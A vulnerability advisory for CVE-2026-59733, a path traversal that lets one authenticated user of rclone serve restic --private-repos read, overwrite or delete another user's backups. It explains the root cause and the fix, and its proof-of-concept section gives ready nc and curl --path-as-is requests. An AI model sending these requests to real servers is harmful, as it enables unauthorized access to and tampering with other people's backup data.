high · 8.8CVE-2026-59733Aug 5, 2026

CVE-2026-59733: rclone serve restic --private-repos Authorization Bypass via Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated user of a multi-tenant rclone restic server can read, overwrite, or delete any other user's backup repository by slipping a dot-dot segment into the URL, defeating the per-user…

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected<= 1.74.3
Fixed in1.74.4
CVE-2026-59733: rclone serve restic --private-repos Authorization Bypass via Path Traversal

The problem

rclone serve restic --private-repos is designed to lock each HTTP Basic auth user to their own /<username>/ path prefix. The isolation breaks because two middlewares derive "the path" from different sources with no canonicalization: checkPrivate checks the chi routed {userID} segment to authorize the request, while WithRemote builds the backend object key from the raw, un-cleaned URL path.

A request like GET /mallory/../alice/config passes checkPrivate (first segment is still "mallory") but hands the backend the literal remote "mallory/../alice/config". On any backend that applies path.Join or path.Clean semantics, such as the sftp, ftp, and memory backends, the .. collapses and the operation lands on alice's object.

The same desync affects POST (overwrite) and DELETE, giving a low-privileged attacker full cross-tenant read/write/delete.

Proof of concept

A working proof-of-concept for CVE-2026-59733 in github.com/rclone/rclone, with the exact payload below.

bash
# Send the raw request-target over a TCP socket so the .. is NOT normalized by the HTTP client.
# Attacker is "mallory"; victim is "alice". Both have accounts on the same rclone serve restic --private-repos instance.

# Step 1 -- confirm direct cross-tenant access is blocked (expect 403)
printf 'GET /alice/config HTTP/1.1\r\nHost: target\r\nAuthorization: Basic bWFsbG9yeTpwYXNzd29yZA==\r\nConnection: close\r\n\r\n' \
  | nc target 8080

# Step 2 -- bypass with dot-dot (expect 200 + alice's restic config)
printf 'GET /mallory/../alice/config HTTP/1.1\r\nHost: target\r\nAuthorization: Basic bWFsbG9yeTpwYXNzd29yZA==\r\nConnection: close\r\n\r\n' \
  | nc target 8080

# Step 3 -- overwrite alice's config (append-only must be off)
printf 'POST /mallory/../alice/config HTTP/1.1\r\nHost: target\r\nAuthorization: Basic bWFsbG9yeTpwYXNzd29yZA==\r\nContent-Length: 0\r\nConnection: close\r\n\r\n' \
  | nc target 8080

# curl equivalent (--path-as-is prevents client-side .. normalization)
curl --path-as-is -u mallory:password \
  http://target:8080/mallory/../alice/config

The root cause is a split-source design: checkPrivate reads chi's pre-parsed {userID} route parameter (which always reflects the first clean path segment), while WithRemote reads rctx.RoutePath or r.URL.Path verbatim and trims only leading/trailing slashes. Neither step ever calls path.Clean or rejects a .. element.

The two values diverge the moment a .. appears after the user segment, so the authorization check and the storage operation operate on different effective paths.

The patch (commits 015fd0eb and dade21c1) moves canonicalization to happen before both middlewares see the path: it calls path.Clean on the trimmed URL path inside WithRemote, stores only the cleaned remote in context, and updates checkPrivate to verify that the cleaned remote actually starts with the authenticated user's prefix, rather than trusting the chi route param in isolation.

This eliminates the source-of-truth split (CWE-22, CWE-639).

The fix

Upgrade to rclone v1.74.4. The fix canonicalizes the URL path with path.Clean inside WithRemote before the context value is set, and tightens checkPrivate to validate the cleaned remote prefix against the authenticated user rather than relying solely on the chi {userID} route parameter.

As defense in depth, path traversal rejection is applied even when --private-repos is off.

Reported by 5ud0 / Tarmo Technologies.

References: [1][2][3][4][5][6]

Related research